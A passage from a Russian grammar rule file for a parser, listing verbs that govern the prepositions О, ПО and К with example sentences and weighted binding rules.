rus_verbs:ЗАБОТИТЬСЯ{}, // Четверть россиян заботятся о здоровье путем просмотра телевизора (ЗАБОТИТЬСЯ О) rus_verbs:ИРОНИЗИРОВАТЬ{}, // Вы иронизируете о ностальгии по тем временем (ИРОНИЗИРОВАТЬ О) rus_verbs:СИГНАЛИЗИРОВАТЬ{}, // Кризис цен на продукты питания сигнализирует о неминуемой гиперинфляции (СИГНАЛИЗИРОВАТЬ О) rus_verbs:СПРОСИТЬ{}, // Он спросил о моём здоровье. (СПРОСИТЬ О) rus_verbs:НАПОМНИТЬ{}, // больной зуб опять напомнил о себе. (НАПОМНИТЬ О) rus_verbs:осведомиться{}, // офицер осведомился о цели визита rus_verbs:объявить{}, // В газете объявили о конкурсе. (объявить о) rus_verbs:ПРЕДСТОЯТЬ{}, // о чем предстоит разговор? (ПРЕДСТОЯТЬ О) rus_verbs:объявлять{}, // объявлять о всеобщей забастовке (объявлять о) rus_verbs:зайти{}, // Разговор зашёл о политике. rus_verbs:порассказать{}, // порассказать о своих путешествиях инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть о неразделенной любви деепричастие:спев{}, прилагательное:спевший{ вид:соверш }, прилагательное:спетый{}, rus_verbs:напеть{}, rus_verbs:разговаривать{}, // разговаривать с другом о жизни rus_verbs:рассуждать{}, // рассуждать об абстрактных идеях //rus_verbs:заботиться{}, // заботиться о престарелых родителях rus_verbs:раздумывать{}, // раздумывать о новой работе rus_verbs:договариваться{}, // договариваться о сумме компенсации rus_verbs:молить{}, // молить о пощаде rus_verbs:отзываться{}, // отзываться о книге rus_verbs:подумывать{}, // подумывать о новом подходе rus_verbs:поговаривать{}, // поговаривать о загадочном звере rus_verbs:обмолвиться{}, // обмолвиться о проклятии rus_verbs:условиться{}, // условиться о поддержке rus_verbs:призадуматься{}, // призадуматься о последствиях rus_verbs:известить{}, // известить о поступлении rus_verbs:отрапортовать{}, // отрапортовать об успехах rus_verbs:напевать{}, // напевать о любви rus_verbs:помышлять{}, // помышлять о новом деле rus_verbs:переговорить{}, // переговорить о правилах rus_verbs:повествовать{}, // повествовать о событиях rus_verbs:слыхивать{}, // слыхивать о чудище rus_verbs:потолковать{}, // потолковать о планах rus_verbs:проговориться{}, // проговориться о планах rus_verbs:умолчать{}, // умолчать о штрафах rus_verbs:хлопотать{}, // хлопотать о премии rus_verbs:уведомить{}, // уведомить о поступлении rus_verbs:горевать{}, // горевать о потере rus_verbs:запамятовать{}, // запамятовать о важном мероприятии rus_verbs:заикнуться{}, // заикнуться о прибавке rus_verbs:информировать{}, // информировать о событиях rus_verbs:проболтаться{}, // проболтаться о кладе rus_verbs:поразмыслить{}, // поразмыслить о судьбе rus_verbs:заикаться{}, // заикаться о деньгах rus_verbs:оповестить{}, // оповестить об отказе rus_verbs:печься{}, // печься о всеобщем благе rus_verbs:разглагольствовать{}, // разглагольствовать о правах rus_verbs:размечтаться{}, // размечтаться о будущем rus_verbs:лепетать{}, // лепетать о невиновности rus_verbs:грезить{}, // грезить о большой и чистой любви rus_verbs:залепетать{}, // залепетать о сокровищах rus_verbs:пронюхать{}, // пронюхать о бесплатной одежде rus_verbs:протрубить{}, // протрубить о победе rus_verbs:извещать{}, // извещать о поступлении rus_verbs:трубить{}, // трубить о поимке разбойников rus_verbs:осведомляться{}, // осведомляться о судьбе rus_verbs:поразмышлять{}, // поразмышлять о неизбежном rus_verbs:слагать{}, // слагать о подвигах викингов rus_verbs:ходатайствовать{}, // ходатайствовать о выделении материальной помощи rus_verbs:побеспокоиться{}, // побеспокоиться о правильном стимулировании rus_verbs:закидывать{}, // закидывать сообщениями об ошибках rus_verbs:базарить{}, // пацаны базарили о телках rus_verbs:балагурить{}, // мужики балагурили о новом председателе rus_verbs:балакать{}, // мужики балакали о новом председателе rus_verbs:беспокоиться{}, // Она беспокоится о детях rus_verbs:рассказать{}, // Кумир рассказал о криминале в Москве rus_verbs:возмечтать{}, // возмечтать о счастливом мире rus_verbs:вопить{}, // Кто-то вопил о несправедливости rus_verbs:сказать{}, // сказать что-то новое о ком-то rus_verbs:знать{}, // знать о ком-то что-то пикантное rus_verbs:подумать{}, // подумать о чём-то rus_verbs:думать{}, // думать о чём-то rus_verbs:узнать{}, // узнать о происшествии rus_verbs:помнить{}, // помнить о задании rus_verbs:просить{}, // просить о коде доступа rus_verbs:забыть{}, // забыть о своих обязанностях rus_verbs:сообщить{}, // сообщить о заложенной мине rus_verbs:заявить{}, // заявить о пропаже rus_verbs:задуматься{}, // задуматься о смерти rus_verbs:спрашивать{}, // спрашивать о поступлении товара rus_verbs:догадаться{}, // догадаться о причинах rus_verbs:договориться{}, // договориться о собеседовании rus_verbs:мечтать{}, // мечтать о сцене rus_verbs:поговорить{}, // поговорить о наболевшем rus_verbs:размышлять{}, // размышлять о насущном rus_verbs:напоминать{}, // напоминать о себе rus_verbs:пожалеть{}, // пожалеть о содеянном rus_verbs:ныть{}, // ныть о прибавке rus_verbs:сообщать{}, // сообщать о победе rus_verbs:догадываться{}, // догадываться о первопричине rus_verbs:поведать{}, // поведать о тайнах rus_verbs:умолять{}, // умолять о пощаде rus_verbs:сожалеть{}, // сожалеть о случившемся rus_verbs:жалеть{}, // жалеть о случившемся rus_verbs:забывать{}, // забывать о случившемся rus_verbs:упоминать{}, // упоминать о предках rus_verbs:позабыть{}, // позабыть о своем обещании rus_verbs:запеть{}, // запеть о любви rus_verbs:скорбеть{}, // скорбеть о усопшем rus_verbs:задумываться{}, // задумываться о смене работы rus_verbs:позаботиться{}, // позаботиться о престарелых родителях rus_verbs:докладывать{}, // докладывать о планах строительства целлюлозно-бумажного комбината rus_verbs:попросить{}, // попросить о замене rus_verbs:предупредить{}, // предупредить о замене rus_verbs:предупреждать{}, // предупреждать о замене rus_verbs:твердить{}, // твердить о замене rus_verbs:заявлять{}, // заявлять о подлоге rus_verbs:петь{}, // певица, поющая о лете rus_verbs:проинформировать{}, // проинформировать о переговорах rus_verbs:порассказывать{}, // порассказывать о событиях rus_verbs:послушать{}, // послушать о новинках rus_verbs:заговорить{}, // заговорить о плате rus_verbs:отозваться{}, // Он отозвался о книге с большой похвалой. rus_verbs:оставить{}, // Он оставил о себе печальную память. rus_verbs:свидетельствовать{}, // страшно исхудавшее тело свидетельствовало о долгих лишениях rus_verbs:спорить{}, // они спорили о законе глагол:написать{ aux stress="напис^ать" }, инфинитив:написать{ aux stress="напис^ать" }, // Он написал о том, что видел во время путешествия. глагол:писать{ aux stress="пис^ать" }, инфинитив:писать{ aux stress="пис^ать" }, // Он писал о том, что видел во время путешествия. rus_verbs:прочитать{}, // Я прочитал о тебе rus_verbs:услышать{}, // Я услышал о нем rus_verbs:помечтать{}, // Девочки помечтали о принце rus_verbs:слышать{}, // Мальчик слышал о приведениях rus_verbs:вспомнить{}, // Девочки вспомнили о завтраке rus_verbs:грустить{}, // Я грущу о тебе rus_verbs:осведомить{}, // о последних достижениях науки rus_verbs:рассказывать{}, // Антонио рассказывает о работе rus_verbs:говорить{}, // говорим о трех больших псах rus_verbs:идти{} // Вопрос идёт о войне. } fact гл_предл { if context { Гл_О_предл предлог:о{} *:*{ падеж:предл } } then return true } // Мы поделились впечатлениями о выставке. // ^^^^^^^^^^ ^^^^^^^^^^ fact гл_предл { if context { * предлог:о{} *:*{ падеж:предл } } then return false,-3 } fact гл_предл { if context { * предлог:о{} *:*{} } then return false,-5 } #endregion Предлог_О #region Предлог_ПО // ------------------- С ПРЕДЛОГОМ 'ПО' ---------------------- // для этих глаголов - запрещаем связывание с ПО+дат.п. wordentry_set Глаг_ПО_Дат_Запр= { rus_verbs:предпринять{}, // предпринять шаги по стимулированию продаж rus_verbs:увлечь{}, // увлечь в прогулку по парку rus_verbs:закончить{}, rus_verbs:мочь{}, rus_verbs:хотеть{} } fact гл_предл { if context { Глаг_ПО_Дат_Запр предлог:по{} *:*{ падеж:дат } } then return false,-10 } // По умолчанию разрешаем связывание в паттернах типа // Я иду по шоссе fact гл_предл { if context { * предлог:по{} *:*{ падеж:дат } } then return true } wordentry_set Глаг_ПО_Вин= { rus_verbs:ВОЙТИ{}, // лезвие вошло по рукоять (ВОЙТИ) rus_verbs:иметь{}, // все месяцы имели по тридцать дней. (ИМЕТЬ ПО) rus_verbs:материализоваться{}, // материализоваться по другую сторону барьера rus_verbs:засадить{}, // засадить по рукоятку rus_verbs:увязнуть{} // увязнуть по колено } fact гл_предл { if context { Глаг_ПО_Вин предлог:по{} *:*{ падеж:вин } } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:по{} *:*{ падеж:вин } } then return false,-5 } #endregion Предлог_ПО #region Предлог_К // ------------------- С ПРЕДЛОГОМ 'К' ---------------------- wordentry_set Гл_К_Дат={ rus_verbs:заявиться{}, // Сразу же после обеда к нам заявилась Юлия Михайловна. rus_verbs:приставлять{} , // Приставляет дуло пистолета к виску. прилагательное:НЕПРИГОДНЫЙ{}, // большинство компьютеров из этой партии оказались непригодными к эксплуатации (НЕПРИГОДНЫЙ) rus_verbs:СБЕГАТЬСЯ{}, // Они чуяли воду и сбегались к ней отовсюду. (СБЕГАТЬСЯ) rus_verbs:СБЕЖАТЬСЯ{}, // К бетонной скамье начали сбегаться люди. (СБЕГАТЬСЯ/СБЕЖАТЬСЯ) rus_verbs:ПРИТИРАТЬСЯ{}, // Менее стойких водителей буквально сметало на другую полосу, и они впритык притирались к другим машинам. (ПРИТИРАТЬСЯ) rus_verbs:РУХНУТЬ{}, // а потом ты без чувств рухнул к моим ногам (РУХНУТЬ) rus_verbs:ПЕРЕНЕСТИ{}, // Они перенесли мясо к ручью и поджарили его на костре. (ПЕРЕНЕСТИ) rus_verbs:ЗАВЕСТИ{}, // как путь мой завел меня к нему? (ЗАВЕСТИ) rus_verbs:НАГРЯНУТЬ{}, // ФБР нагрянуло с обыском к сестре бостонских террористов (НАГРЯНУТЬ) rus_verbs:ПРИСЛОНЯТЬСЯ{}, // Рабы ложились на пол, прислонялись к стене и спали. (ПРИСЛОНЯТЬСЯ,ПРИНОРАВЛИВАТЬСЯ,ПРИНОРОВИТЬСЯ) rus_verbs:ПРИНОРАВЛИВАТЬСЯ{}, // rus_verbs:ПРИНОРОВИТЬСЯ{}, // rus_verbs:СПЛАНИРОВАТЬ{}, // Вскоре она остановила свое падение и спланировала к ним. (СПЛАНИРОВАТЬ,СПИКИРОВАТЬ,РУХНУТЬ) rus_verbs:СПИКИРОВАТЬ{}, // rus_verbs:ЗАБРАТЬСЯ{}, // Поэтому он забрался ко мне в квартиру с имевшимся у него полумесяцем. (ЗАБРАТЬСЯ К, В, С) rus_verbs:ПРОТЯГИВАТЬ{}, // Оно протягивало свои длинные руки к молодому человеку, стоявшему на плоской вершине валуна. (ПРОТЯГИВАТЬ/ПРОТЯНУТЬ/ТЯНУТЬ) rus_verbs:ПРОТЯНУТЬ{}, // rus_verbs:ТЯНУТЬ{}, // rus_verbs:ПЕРЕБИРАТЬСЯ{}, // Ее губы медленно перебирались к его уху. (ПЕРЕБИРАТЬСЯ,ПЕРЕБРАТЬСЯ,ПЕРЕБАЗИРОВАТЬСЯ,ПЕРЕМЕСТИТЬСЯ,ПЕРЕМЕЩАТЬСЯ) rus_verbs:ПЕРЕБРАТЬСЯ{}, // ,,, rus_verbs:ПЕРЕБАЗИРОВАТЬСЯ{}, // rus_verbs:ПЕРЕМЕСТИТЬСЯ{}, // rus_verbs:ПЕРЕМЕЩАТЬСЯ{}, // rus_verbs:ТРОНУТЬСЯ{}, // Он отвернулся от нее и тронулся к пляжу. (ТРОНУТЬСЯ) rus_verbs:ПРИСТАВИТЬ{}, // Он поднял одну из них и приставил верхний конец к краю шахты в потолке. rus_verbs:ПРОБИТЬСЯ{}, // Отряд с невероятными приключениями, пытается пробиться к своему полку, попадает в плен и другие передряги (ПРОБИТЬСЯ) rus_verbs:хотеть{}, rus_verbs:СДЕЛАТЬ{}, // Сделайте всё к понедельнику (СДЕЛАТЬ) rus_verbs:ИСПЫТЫВАТЬ{}, // она испытывает ко мне только отвращение (ИСПЫТЫВАТЬ) rus_verbs:ОБЯЗЫВАТЬ{}, // Это меня ни к чему не обязывает (ОБЯЗЫВАТЬ) rus_verbs:КАРАБКАТЬСЯ{}, // карабкаться по горе от подножия к вершине (КАРАБКАТЬСЯ) rus_verbs:СТОЯТЬ{}, // мужчина стоял ко мне спиной (СТОЯТЬ) rus_verbs:ПОДАТЬСЯ{}, // наконец люк подался ко мне (ПОДАТЬСЯ) rus_verbs:ПРИРАВНЯТЬ{}, // Усилия нельзя приравнять к результату (ПРИРАВНЯТЬ) rus_verbs:ПРИРАВНИВАТЬ{}, // Усилия нельзя приравнивать к результату (ПРИРАВНИВАТЬ) rus_verbs:ВОЗЛОЖИТЬ{}, // Путин в Пскове возложил цветы к памятнику воинам-десантникам, погибшим в Чечне (ВОЗЛОЖИТЬ) rus_verbs:запустить{}, // Индия запустит к Марсу свой космический аппарат в 2013 г rus_verbs:ПРИСТЫКОВАТЬСЯ{}, // Роботизированный российский грузовой космический корабль пристыковался к МКС (ПРИСТЫКОВАТЬСЯ) rus_verbs:ПРИМАЗАТЬСЯ{}, // К челябинскому метеориту примазалась таинственная слизь (ПРИМАЗАТЬСЯ) rus_verbs:ПОПРОСИТЬ{}, // Попросите Лизу к телефону (ПОПРОСИТЬ К) rus_verbs:ПРОЕХАТЬ{}, // Порой школьные автобусы просто не имеют возможности проехать к некоторым населенным пунктам из-за бездорожья (ПРОЕХАТЬ К) rus_verbs:ПОДЦЕПЛЯТЬСЯ{}, // Вагоны с пассажирами подцепляются к составу (ПОДЦЕПЛЯТЬСЯ К) rus_verbs:ПРИЗВАТЬ{}, // Президент Афганистана призвал талибов к прямому диалогу (ПРИЗВАТЬ К) rus_verbs:ПРЕОБРАЗИТЬСЯ{}, // Культовый столичный отель преобразился к юбилею (ПРЕОБРАЗИТЬСЯ К) прилагательное:ЧУВСТВИТЕЛЬНЫЙ{}, // нейроны одного комплекса чувствительны к разным веществам (ЧУВСТВИТЕЛЬНЫЙ К) безлич_глагол:нужно{}, // нам нужно к воротам (НУЖНО К) rus_verbs:БРОСИТЬ{}, // огромный клюв бросил это мясо к моим ногам (БРОСИТЬ К) rus_verbs:ЗАКОНЧИТЬ{}, // к пяти утра техники закончили (ЗАКОНЧИТЬ К) rus_verbs:НЕСТИ{}, // к берегу нас несет! (НЕСТИ К) rus_verbs:ПРОДВИГАТЬСЯ{}, // племена медленно продвигались к востоку (ПРОДВИГАТЬСЯ К) rus_verbs:ОПУСКАТЬСЯ{}, // деревья опускались к самой воде (ОПУСКАТЬСЯ К) rus_verbs:СТЕМНЕТЬ{}, // к тому времени стемнело (СТЕМНЕЛО К) rus_verbs:ОТСКОЧИТЬ{}, // после отскочил к окну (ОТСКОЧИТЬ К) rus_verbs:ДЕРЖАТЬСЯ{}, // к солнцу держались спинами (ДЕРЖАТЬСЯ К) rus_verbs:КАЧНУТЬСЯ{}, // толпа качнулась к ступеням (КАЧНУТЬСЯ К) rus_verbs:ВОЙТИ{}, // Андрей вошел к себе (ВОЙТИ К) rus_verbs:ВЫБРАТЬСЯ{}, // мы выбрались к окну (ВЫБРАТЬСЯ К) rus_verbs:ПРОВЕСТИ{}, // провел к стене спальни (ПРОВЕСТИ К) rus_verbs:ВЕРНУТЬСЯ{}, // давай вернемся к делу (ВЕРНУТЬСЯ К) rus_verbs:ВОЗВРАТИТЬСЯ{}, // Среди евреев, живших в диаспоре, всегда было распространено сильное стремление возвратиться к Сиону (ВОЗВРАТИТЬСЯ К) rus_verbs:ПРИЛЕГАТЬ{}, // Задняя поверхность хрусталика прилегает к стекловидному телу (ПРИЛЕГАТЬ К) rus_verbs:ПЕРЕНЕСТИСЬ{}, // мысленно Алёна перенеслась к заливу (ПЕРЕНЕСТИСЬ К) rus_verbs:ПРОБИВАТЬСЯ{}, // сквозь болото к берегу пробивался ручей. (ПРОБИВАТЬСЯ К) rus_verbs:ПЕРЕВЕСТИ{}, // необходимо срочно перевести стадо к воде. (ПЕРЕВЕСТИ К) rus_verbs:ПРИЛЕТЕТЬ{}, // зачем ты прилетел к нам? (ПРИЛЕТЕТЬ К) rus_verbs:ДОБАВИТЬ{}, // добавить ли ее к остальным? (ДОБАВИТЬ К) rus_verbs:ПРИГОТОВИТЬ{}, // Матвей приготовил лук к бою. (ПРИГОТОВИТЬ К) rus_verbs:РВАНУТЬ{}, // человек рванул ее к себе. (РВАНУТЬ К) rus_verbs:ТАЩИТЬ{}, // они тащили меня к двери. (ТАЩИТЬ К) глагол:быть{}, // к тебе есть вопросы. прилагательное:равнодушный{}, // Он равнодушен к музыке. rus_verbs:ПОЖАЛОВАТЬ{}, // скандально известный певец пожаловал к нам на передачу (ПОЖАЛОВАТЬ К) rus_verbs:ПЕРЕСЕСТЬ{}, // Ольга пересела к Антону (ПЕРЕСЕСТЬ К) инфинитив:СБЕГАТЬ{ вид:соверш }, глагол:СБЕГАТЬ{ вид:соверш }, // сбегай к Борису (СБЕГАТЬ К) rus_verbs:ПЕРЕХОДИТЬ{}, // право хода переходит к Адаму (ПЕРЕХОДИТЬ К) rus_verbs:прижаться{}, // она прижалась щекой к его шее. (прижаться+к) rus_verbs:ПОДСКОЧИТЬ{}, // солдат быстро подскочил ко мне. (ПОДСКОЧИТЬ К) rus_verbs:ПРОБРАТЬСЯ{}, // нужно пробраться к реке. (ПРОБРАТЬСЯ К) rus_verbs:ГОТОВИТЬ{}, // нас готовили к этому. (ГОТОВИТЬ К) rus_verbs:ТЕЧЬ{}, // река текла к морю. (ТЕЧЬ К) rus_verbs:ОТШАТНУТЬСЯ{}, // епископ отшатнулся к стене. (ОТШАТНУТЬСЯ К) rus_verbs:БРАТЬ{}, // брали бы к себе. (БРАТЬ К) rus_verbs:СКОЛЬЗНУТЬ{}, // ковер скользнул к пещере. (СКОЛЬЗНУТЬ К) rus_verbs:присохнуть{}, // Грязь присохла к одежде. (присохнуть к) rus_verbs:просить{}, // Директор просит вас к себе. (просить к) rus_verbs:вызывать{}, // шеф вызывал к себе. (вызывать к) rus_verbs:присесть{}, // старик присел к огню. (присесть к) rus_verbs:НАКЛОНИТЬСЯ{}, // Ричард наклонился к брату. (НАКЛОНИТЬСЯ К) rus_verbs:выбираться{}, // будем выбираться к дороге. (выбираться к) rus_verbs:отвернуться{}, // Виктор отвернулся к стене. (отвернуться к) rus_verbs:СТИХНУТЬ{}, // огонь стих к полудню. (СТИХНУТЬ К) rus_verbs:УПАСТЬ{}, // нож упал к ногам. (УПАСТЬ К) rus_verbs:СЕСТЬ{}, // молча сел к огню. (СЕСТЬ К) rus_verbs:ХЛЫНУТЬ{}, // народ хлынул к стенам. (ХЛЫНУТЬ К) rus_verbs:покатиться{}, // они черной волной покатились ко мне. (покатиться к) rus_verbs:ОБРАТИТЬ{}, // она обратила к нему свое бледное лицо. (ОБРАТИТЬ К) rus_verbs:СКЛОНИТЬ{}, // Джон слегка склонил голову к плечу. (СКЛОНИТЬ К) rus_verbs:СВЕРНУТЬ{}, // дорожка резко свернула к южной стене. (СВЕРНУТЬ К) rus_verbs:ЗАВЕРНУТЬ{}, // Он завернул к нам по пути к месту службы. (ЗАВЕРНУТЬ К) rus_verbs:подходить{}, // цвет подходил ей к лицу. rus_verbs:БРЕСТИ{}, // Ричард покорно брел к отцу. (БРЕСТИ К) rus_verbs:ПОПАСТЬ{}, // хочешь попасть к нему? (ПОПАСТЬ К) rus_verbs:ПОДНЯТЬ{}, // Мартин поднял ружье к плечу. (ПОДНЯТЬ К) rus_verbs:ПОТЕРЯТЬ{}, // просто потеряла к нему интерес. (ПОТЕРЯТЬ К) rus_verbs:РАЗВЕРНУТЬСЯ{}, // они сразу развернулись ко мне. (РАЗВЕРНУТЬСЯ К) rus_verbs:ПОВЕРНУТЬ{}, // мальчик повернул к ним голову. (ПОВЕРНУТЬ К) rus_verbs:вызвать{}, // или вызвать к жизни? (вызвать к) rus_verbs:ВЫХОДИТЬ{}, // их земли выходят к морю. (ВЫХОДИТЬ К) rus_verbs:ЕХАТЬ{}, // мы долго ехали к вам. (ЕХАТЬ К) rus_verbs:опуститься{}, // Алиса опустилась к самому дну. (опуститься к) rus_verbs:подняться{}, // они молча поднялись к себе. (подняться к) rus_verbs:ДВИНУТЬСЯ{}, // толстяк тяжело двинулся к ним. (ДВИНУТЬСЯ К) rus_verbs:ПОПЯТИТЬСЯ{}, // ведьмак осторожно попятился к лошади. (ПОПЯТИТЬСЯ К) rus_verbs:РИНУТЬСЯ{}, // мышелов ринулся к черной стене. (РИНУТЬСЯ К) rus_verbs:ТОЛКНУТЬ{}, // к этому толкнул ее ты. (ТОЛКНУТЬ К) rus_verbs:отпрыгнуть{}, // Вадим поспешно отпрыгнул к борту. (отпрыгнуть к) rus_verbs:отступить{}, // мы поспешно отступили к стене. (отступить к) rus_verbs:ЗАБРАТЬ{}, // мы забрали их к себе. (ЗАБРАТЬ к) rus_verbs:ВЗЯТЬ{}, // потом возьму тебя к себе. (ВЗЯТЬ К) rus_verbs:лежать{}, // наш путь лежал к ним. (лежать к) rus_verbs:поползти{}, // ее рука поползла к оружию. (поползти к) rus_verbs:требовать{}, // вас требует к себе император. (требовать к) rus_verbs:поехать{}, // ты должен поехать к нему. (поехать к) rus_verbs:тянуться{}, // мордой животное тянулось к земле. (тянуться к) rus_verbs:ЖДАТЬ{}, // жди их завтра к утру. (ЖДАТЬ К) rus_verbs:ПОЛЕТЕТЬ{}, // они стремительно полетели к земле. (ПОЛЕТЕТЬ К) rus_verbs:подойти{}, // помоги мне подойти к столу. (подойти к) rus_verbs:РАЗВЕРНУТЬ{}, // мужик развернул к нему коня. (РАЗВЕРНУТЬ К) rus_verbs:ПРИВЕЗТИ{}, // нас привезли прямо к королю. (ПРИВЕЗТИ К) rus_verbs:отпрянуть{}, // незнакомец отпрянул к стене. (отпрянуть к) rus_verbs:побежать{}, // Cергей побежал к двери. (побежать к) rus_verbs:отбросить{}, // сильный удар отбросил его к стене. (отбросить к) rus_verbs:ВЫНУДИТЬ{}, // они вынудили меня к сотрудничеству (ВЫНУДИТЬ К) rus_verbs:подтянуть{}, // он подтянул к себе стул и сел на него (подтянуть к) rus_verbs:сойти{}, // по узкой тропинке путники сошли к реке. (сойти к) rus_verbs:являться{}, // по ночам к нему являлись призраки. (являться к) rus_verbs:ГНАТЬ{}, // ледяной ветер гнал их к югу. (ГНАТЬ К) rus_verbs:ВЫВЕСТИ{}, // она вывела нас точно к месту. (ВЫВЕСТИ К) rus_verbs:выехать{}, // почти сразу мы выехали к реке. rus_verbs:пододвигаться{}, // пододвигайся к окну rus_verbs:броситься{}, // большая часть защитников стен бросилась к воротам. rus_verbs:представить{}, // Его представили к ордену. rus_verbs:двигаться{}, // между тем чудище неторопливо двигалось к берегу. rus_verbs:выскочить{}, // тем временем они выскочили к реке. rus_verbs:выйти{}, // тем временем они вышли к лестнице. rus_verbs:потянуть{}, // Мальчик схватил верёвку и потянул её к себе. rus_verbs:приложить{}, // приложить к детали повышенное усилие rus_verbs:пройти{}, // пройти к стойке регистрации (стойка регистрации - проверить проверку) rus_verbs:отнестись{}, // отнестись к животным с сочуствием rus_verbs:привязать{}, // привязать за лапу веревкой к колышку, воткнутому в землю rus_verbs:прыгать{}, // прыгать к хозяину на стол rus_verbs:приглашать{}, // приглашать к доктору rus_verbs:рваться{}, // Чужие люди рвутся к власти rus_verbs:понестись{}, // понестись к обрыву rus_verbs:питать{}, // питать привязанность к алкоголю rus_verbs:заехать{}, // Коля заехал к Оле rus_verbs:переехать{}, // переехать к родителям rus_verbs:ползти{}, // ползти к дороге rus_verbs:сводиться{}, // сводиться к элементарному действию rus_verbs:добавлять{}, // добавлять к общей сумме rus_verbs:подбросить{}, // подбросить к потолку rus_verbs:призывать{}, // призывать к спокойствию rus_verbs:пробираться{}, // пробираться к партизанам rus_verbs:отвезти{}, // отвезти к родителям rus_verbs:применяться{}, // применяться к уравнению rus_verbs:сходиться{}, // сходиться к точному решению rus_verbs:допускать{}, // допускать к сдаче зачета rus_verbs:свести{}, // свести к нулю rus_verbs:придвинуть{}, // придвинуть к мальчику rus_verbs:подготовить{}, // подготовить к печати rus_verbs:подобраться{}, // подобраться к оленю rus_verbs:заторопиться{}, // заторопиться к выходу rus_verbs:пристать{}, // пристать к берегу rus_verbs:поманить{}, // поманить к себе rus_verbs:припасть{}, // припасть к алтарю rus_verbs:притащить{}, // притащить к себе домой rus_verbs:прижимать{}, // прижимать к груди rus_verbs:подсесть{}, // подсесть к симпатичной девочке rus_verbs:придвинуться{}, // придвинуться к окну rus_verbs:отпускать{}, // отпускать к другу rus_verbs:пригнуться{}, // пригнуться к земле rus_verbs:пристроиться{}, // пристроиться к колонне rus_verbs:сгрести{}, // сгрести к себе rus_verbs:удрать{}, // удрать к цыганам rus_verbs:прибавиться{}, // прибавиться к общей сумме rus_verbs:присмотреться{}, // присмотреться к покупке rus_verbs:подкатить{}, // подкатить к трюму rus_verbs:клонить{}, // клонить ко сну rus_verbs:проследовать{}, // проследовать к выходу rus_verbs:пододвинуть{}, // пододвинуть к себе rus_verbs:применять{}, // применять к сотрудникам rus_verbs:прильнуть{}, // прильнуть к экранам rus_verbs:подвинуть{}, // подвинуть к себе rus_verbs:примчаться{}, // примчаться к папе rus_verbs:подкрасться{}, // подкрасться к жертве rus_verbs:привязаться{}, // привязаться к собаке rus_verbs:забирать{}, // забирать к себе rus_verbs:прорваться{}, // прорваться к кассе rus_verbs:прикасаться{}, // прикасаться к коже rus_verbs:уносить{}, // уносить к себе rus_verbs:подтянуться{}, // подтянуться к месту rus_verbs:привозить{}, // привозить к ветеринару rus_verbs:подползти{}, // подползти к зайцу rus_verbs:приблизить{}, // приблизить к глазам rus_verbs:применить{}, // применить к уравнению простое преобразование rus_verbs:приглядеться{}, // приглядеться к изображению rus_verbs:приложиться{}, // приложиться к ручке rus_verbs:приставать{}, // приставать к девчонкам rus_verbs:запрещаться{}, // запрещаться к показу rus_verbs:прибегать{}, // прибегать к насилию rus_verbs:побудить{}, // побудить к действиям rus_verbs:притягивать{}, // притягивать к себе rus_verbs:пристроить{}, // пристроить к полезному делу rus_verbs:приговорить{}, // приговорить к смерти rus_verbs:склоняться{}, // склоняться к прекращению разработки rus_verbs:подъезжать{}, // подъезжать к вокзалу rus_verbs:привалиться{}, // привалиться к забору rus_verbs:наклоняться{}, // наклоняться к щенку rus_verbs:подоспеть{}, // подоспеть к обеду rus_verbs:прилипнуть{}, // прилипнуть к окну rus_verbs:приволочь{}, // приволочь к себе rus_verbs:устремляться{}, // устремляться к вершине rus_verbs:откатиться{}, // откатиться к исходным позициям rus_verbs:побуждать{}, // побуждать к действиям rus_verbs:прискакать{}, // прискакать к кормежке rus_verbs:присматриваться{}, // присматриваться к новичку rus_verbs:прижиматься{}, // прижиматься к борту rus_verbs:жаться{}, // жаться к огню rus_verbs:передвинуть{}, // передвинуть к окну rus_verbs:допускаться{}, // допускаться к экзаменам rus_verbs:прикрепить{}, // прикрепить к корпусу rus_verbs:отправлять{}, // отправлять к специалистам rus_verbs:перебежать{}, // перебежать к врагам rus_verbs:притронуться{}, // притронуться к реликвии rus_verbs:заспешить{}, // заспешить к семье rus_verbs:ревновать{}, // ревновать к сопернице rus_verbs:подступить{}, // подступить к горлу rus_verbs:уводить{}, // уводить к ветеринару rus_verbs:побросать{}, // побросать к ногам rus_verbs:подаваться{}, // подаваться к ужину rus_verbs:приписывать{}, // приписывать к достижениям rus_verbs:относить{}, // относить к растениям rus_verbs:принюхаться{}, // принюхаться к ароматам rus_verbs:подтащить{}, // подтащить к себе rus_verbs:прислонить{}, // прислонить к стене rus_verbs:подплыть{}, // подплыть к бую rus_verbs:опаздывать{}, // опаздывать к стилисту rus_verbs:примкнуть{}, // примкнуть к деомнстрантам rus_verbs:стекаться{}, // стекаются к стенам тюрьмы rus_verbs:подготовиться{}, // подготовиться к марафону rus_verbs:приглядываться{}, // приглядываться к новичку rus_verbs:присоединяться{}, // присоединяться к сообществу rus_verbs:клониться{}, // клониться ко сну rus_verbs:привыкать{}, // привыкать к хорошему rus_verbs:принудить{}, // принудить к миру rus_verbs:уплыть{}, // уплыть к далекому берегу rus_verbs:утащить{}, // утащить к детенышам rus_verbs:приплыть{}, // приплыть к финишу rus_verbs:подбегать{}, // подбегать к хозяину rus_verbs:лишаться{}, // лишаться средств к существованию rus_verbs:приступать{}, // приступать к операции rus_verbs:пробуждать{}, // пробуждать лекцией интерес к математике rus_verbs:подключить{}, // подключить к трубе rus_verbs:подключиться{}, // подключиться к сети rus_verbs:прилить{}, // прилить к лицу rus_verbs:стучаться{}, // стучаться к соседям rus_verbs:пристегнуть{}, // пристегнуть к креслу rus_verbs:присоединить{}, // присоединить к сети rus_verbs:отбежать{}, // отбежать к противоположной стене rus_verbs:подвезти{}, // подвезти к набережной rus_verbs:прибегнуть{}, // прибегнуть к хитрости rus_verbs:приучить{}, // приучить к туалету rus_verbs:подталкивать{}, // подталкивать к выходу rus_verbs:прорываться{}, // прорываться к выходу rus_verbs:увозить{}, // увозить к ветеринару rus_verbs:засеменить{}, // засеменить к выходу rus_verbs:крепиться{}, // крепиться к потолку rus_verbs:прибрать{}, // прибрать к рукам rus_verbs:пристраститься{}, // пристраститься к наркотикам rus_verbs:поспеть{}, // поспеть к обеду rus_verbs:привязывать{}, // привязывать к дереву rus_verbs:прилагать{}, // прилагать к документам rus_verbs:переправить{}, // переправить к дедушке rus_verbs:подогнать{}, // подогнать к воротам rus_verbs:тяготеть{}, // тяготеть к социализму rus_verbs:подбираться{}, // подбираться к оленю rus_verbs:подступать{}, // подступать к горлу rus_verbs:примыкать{}, // примыкать к первому элементу rus_verbs:приладить{}, // приладить к велосипеду 